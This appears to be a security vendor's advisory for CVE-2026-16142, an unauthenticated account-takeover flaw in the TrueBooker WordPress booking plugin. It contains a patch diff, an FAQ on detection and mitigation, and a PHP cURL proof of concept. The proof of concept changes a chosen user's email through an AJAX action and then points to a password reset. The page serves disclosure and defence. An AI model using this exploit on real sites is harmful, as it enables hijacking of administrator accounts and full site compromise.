+		$username = $useremail = $service_name = $appbookeddate = $appbookedtime = '';
+
 		$resultsusersql = $wpdb->prepare(
-		"SELECT * FROM {$wpdb->prefix}truebooker_user
-		WHERE truebooker_wpuser_id = %d",
-		$appuserwpid
+		"SELECT i.truebooker_app_booked_item_service_name, i.truebooker_app_booked_item_date, i.truebooker_app_booked_item_time,
+		        u.truebooker_user_firstname, u.truebooker_user_lastname, u.truebooker_user_email
+		 FROM {$truebooker_app_table} i
+		 INNER JOIN {$wpdb->prefix}truebooker_appointment_booked b ON b.truebooker_app_booked_id = i.truebooker_app_booked_id
+		 INNER JOIN {$wpdb->prefix}truebooker_user u ON u.truebooker_wpuser_id = b.truebooker_app_user_id
+		 WHERE i.truebooker_app_booked_item_id = %d",
+		$appointmentid
 		);

-		$resultsuser = $wpdb->get_results($resultsusersql);
+		$resultsuser = $wpdb->get_row($resultsusersql);

 		if(!empty($resultsuser))
 		{
-
-
-			foreach ($resultsuser as $resuser) {
-
-				$username = $resuser->truebooker_user_firstname.' '.$resuser->truebooker_user_lastname;
-				$useremail = $resuser->truebooker_user_email;
-				$userphone = $resuser->truebooker_user_phone;
-
-			}
-
+			$username      = $resultsuser->truebooker_user_firstname.' '.$resultsuser->truebooker_user_lastname;
+			$useremail     = $resultsuser->truebooker_user_email;
+			$service_name  = $resultsuser->truebooker_app_booked_item_service_name;
+			$appbookeddate = $resultsuser->truebooker_app_booked_item_date;
+			$appbookedtime = $resultsuser->truebooker_app_booked_item_time;
 		}


@@ -13787,27 +12758,11 @@
 	wp_send_json_error(['message' => 'Failed to update status.']);
 	}

-	/*if($wpdb->query(
-    $wpdb->prepare(
-        "UPDATE $truebooker_app_table SET truebooker_app_booked_item_status = %s WHERE truebooker_app_booked_item_id = %d",
-        $appnewstatus,
-        $appointmentid
-    )
-	)){
-
-	   wp_send_json_success(['message' => 'Appointment status updated.']);
-
-
-	}else
-	{
-		wp_send_json_error(['message' => 'Failed to update status.']);
-	}
-	*/

 }

+
 add_action('wp_ajax_get_bookeappointment_list', 'truebooker_get_bookeappointment_list');
-add_action('wp_ajax_nopriv_bookeappointment_list', 'truebooker_get_bookeappointment_list');

 function truebooker_get_bookeappointment_list()
 {
@@ -13828,6 +12783,24 @@
 		{
 		  $appointmentid = sanitize_text_field(wp_unslash($_POST['appointmentid']));
 		}
+
+		$truebooker_booking_owner_id = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT b.truebooker_app_user_id FROM {$wpdb->prefix}truebooker_appointment_booked_item i
+				 INNER JOIN {$wpdb->prefix}truebooker_appointment_booked b ON b.truebooker_app_booked_id = i.truebooker_app_booked_id
+				 WHERE i.truebooker_app_booked_item_id = %d",
+				$appointmentid
+			)
+		);
+
+		if ( (int) $truebooker_booking_owner_id !== get_current_user_id() && ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => esc_html__( 'Permission denied.', 'truebooker-appointment-booking' ),
+				),
+				403
+			);
+		}


 	  $appointment_table = ['truebooker_appointment_booked_item', 'truebooker_appointment_booked','truebooker_user','users'];
@@ -13963,12 +12936,21 @@


 add_action('wp_ajax_truebooker_get_appointments_calendar', 'truebooker_get_appointments_calendar');
-add_action( 'wp_ajax_nopriv_truebooker_get_appointments_calendar', 'truebooker_get_appointments_calendar');

 function truebooker_get_appointments_calendar() {

     check_ajax_referer( 'truebooker_nonce_action', 'nonce' );

+
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Permission denied.', 'truebooker-appointment-booking' ),
+			),
+			403
+		);
+	}
+
 	 $truebooker_branchid = $truebooker_staffmemberid = '';

 	 if(isset($_GET['staffid']))
--- a/truebooker-appointment-booking/truebooker-appointment-booking.php
+++ b/truebooker-appointment-booking/truebooker-appointment-booking.php
@@ -3,7 +3,7 @@
 * Plugin Name: TrueBooker - Appointment Booking and Scheduler System
 * Plugin URI: https://wordpress.org/plugins/truebooker-appointment-booking
 * Description: Truebooker - Appointment Booking plugin for online book anything, anytime, anywhere. A perfect choice for medical centers, beauty salons, hair shops, car services.
- * Version: 1.2.6
+ * Version: 1.2.7
  * Requires at least: 6.5
  * Author: ThemetechMount
  * Author URI: https://themetechmount.com/
@@ -16,7 +16,7 @@
 */

     if ( ! defined( 'ABSPATH' ) ) { exit; }
-    define( 'TRUEBOOKER_VERSION', '1.2.6' );
+    define( 'TRUEBOOKER_VERSION', '1.2.7' );
     define( 'TRUEBOOKER_DIR', trailingslashit( dirname( __FILE__ ) ) );
     define( 'TRUEBOOKER_URL', plugins_url( '', __FILE__ ) );
     define( 'TRUEBOOKER_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16142 - TrueBooker <= 1.2.6 - Unauthenticated Account Takeover via Insecure Direct Object Reference in 'truebooker_wp_user_id' Parameter

/*
 * This PoC demonstrates the unauthenticated account takeover vulnerability in
 * TrueBooker plugin versions up to and including 1.2.6.
 * It changes the email address of a target WordPress user (specified by user ID)
 * to an attacker-controlled address. After this, the standard WordPress
 * "Lost Password" flow can be used to reset the password.
 */

$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php'; // WordPress AJAX endpoint
$victim_user_id = 1; // Target WordPress user ID (e.g., admin which is usually 1)
$attacker_email = "attacker-controlled@example.com"; // Email address to take over the account

// The AJAX action hook that is vulnerable. This can be determined from the plugin source.
$vulnerable_action = 'add_front_user_booking';

// The plugin's nonce. This value is used to bypass the nonce check and is supplied in the request.
// It might be generated from any page that has the form, but for exploitation we can provide a static one if known.
// For WordPress nonce generation: wp_create_nonce('truebooker_meta_box_nonce') - we must guess this. 
// However, some implementations accept a weak nonce or the nonce is a fixed constant. In this case we assume we can get it or provide a default one.
$nonce = 'your_generated_nonce'; // Replace with a valid nonce if known. 

// Prepare the form data as it would be sent from the frontend.
// The 'alldata' parameter is a serialized string of the form fields.
$form_data = array(
    'truebooker_meta_box_noncename' => $nonce,
    'truebooker_f_user_firstname' => 'John',
    'truebooker_f_user_lastname' => 'Doe',
    'truebooker_f_user_email' => $attacker_email, // Changing the email to attacker's
    'truebooker_f_user_conutry' => 'US',
    'truebooker_f_user_state' => 'CA',
    'truebooker_f_user_city' => 'Test',
    'truebooker_f_user_address1' => '123 Test St',
    'truebooker_f_user_pincode' => '12345',
    'truebooker_f_user_phone' => '1234567890',
    'truebooker_user_id' => '123', // The DB row ID for the custom user table - can be anything or empty
    'truebooker_wp_user_id' => (string)$victim_user_id, // The vulnerable parameter!
    'truebooker_f_user_person' => '1',
    'truebooker_f_user_note' => 'test',
    'truebooker_user_service' => '',
    'truebooker_f_user_dt' => '2023-10-26',
    'tba_front_user_timeslot' => '10:00 AM',
    'truebooker_currency' => 'USD'
);

$alldata = http_build_query($form_data);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt_array($ch, array(
    CURLOPT_URL => $target_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => array(
        'action' => $vulnerable_action,
        'alldata' => $alldata
    ),
    CURLOPT_HTTPHEADER => array(
        'Content-Type: application/x-www-form-urlencoded'
    ),
    CURLOPT_SSL_VERIFYPEER => false // Disable SSL verification for local testing. Remove in production.
));

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    echo "Response from server:n" . $response . "n";
    echo "If the response contains 'success', the email has been changed.n";
    echo "Now use the WordPress 'Lost Password' function with the attacker email to reset the password.n";
}

// Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-16142?
Vulnerability overview
CVE-2026-16142 is a critical vulnerability in the TrueBooker appointment booking plugin for WordPress, affecting versions up to and including 1.2.6. It allows unauthenticated attackers to take over any user account, including administrators, by changing the account email address and then resetting the password. The vulnerability is an Insecure Direct Object Reference (CWE-639) with a CVSS score of 9.8.
How does the vulnerability work?
Technical explanation
The plugin registers an AJAX action ‘add_front_user_booking’ for unauthenticated users. The handler accepts a ‘truebooker_wp_user_id’ parameter from the request and passes it directly to wp_update_user() to change the email address of that user. Since there is no authentication or ownership check, an attacker can submit any user ID and an attacker-controlled email, then use the WordPress password reset flow to gain access.
Who is affected by this vulnerability?
Affected versions and sites
Any WordPress site running TrueBooker plugin version 1.2.6 or earlier is affected. The vulnerability is unauthenticated, meaning no login is required to exploit it. Sites with the plugin active are at risk, regardless of user roles.
How can I check if my site is vulnerable?
Detection steps
Check the TrueBooker plugin version in your WordPress admin under Plugins. If it is 1.2.6 or lower, your site is vulnerable. You can also look for the presence of the ‘add_front_user_booking’ AJAX action in the plugin code, but the version check is the simplest method.
What is the practical risk of this vulnerability?
Impact assessment
The risk is critical because an attacker can gain full control of any account, including administrator accounts. This leads to complete site compromise: the attacker can install malicious plugins, modify files, steal data, and potentially use the site to attack visitors. The CVSS score of 9.8 reflects the high impact and ease of exploitation.
How is the proof of concept (PoC) used?
PoC explanation
The PoC sends a crafted HTTP request to the WordPress admin-ajax.php endpoint with the vulnerable action and parameters. It includes the target user ID and an attacker email. When executed, it changes the victim’s email, allowing the attacker to reset the password and take over the account. The PoC is for authorized testing only.
What is the fix for this vulnerability?
Patch and update
Update TrueBooker to version 1.2.7 or later, which removes the vulnerable AJAX handlers and adds proper authorization checks. If you cannot update immediately, consider disabling the plugin temporarily or applying a web application firewall rule to block requests to the vulnerable action.
Is there a temporary mitigation if I can't update?
Workarounds
As a temporary measure, you can add a code snippet to your theme’s functions.php to remove the vulnerable AJAX actions, or use a security plugin to block access to admin-ajax.php for unauthenticated users except for known safe actions. However, updating the plugin is the only complete fix.
What does the patch analysis show?
Patch details
The patch removes the ‘add_front_user_booking’ and ‘admin_user_create_cus’ functions and their associated AJAX hooks, including the unauthenticated ‘wp_ajax_nopriv_’ registration. It also adds permission checks to other AJAX endpoints like ‘update_appointment_booked’ to verify user ownership and capabilities.
How does the CVSS score of 9.8 translate to real-world severity?
Severity interpretation
A CVSS score of 9.8 is considered critical, meaning the vulnerability is easily exploitable, requires no authentication, and has severe impact on confidentiality, integrity, and availability. In practice, it means an attacker can completely compromise the site with minimal effort, making immediate action necessary.
Can this vulnerability be exploited without any user interaction?
Exploitation prerequisites
Yes, the vulnerability is unauthenticated and requires no user interaction. An attacker only needs to send a crafted HTTP request to the vulnerable endpoint. No special privileges or prior access are needed, making it highly dangerous.
What should I do if I suspect my site has been compromised?
Incident response
If you suspect exploitation, immediately update the plugin, change all user passwords, especially administrators, and review user accounts for unauthorized email changes. Check for unfamiliar admin users and scan your site for backdoors. Also, review server logs for requests to admin-ajax.php with the ‘add_front_user_booking’ action.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started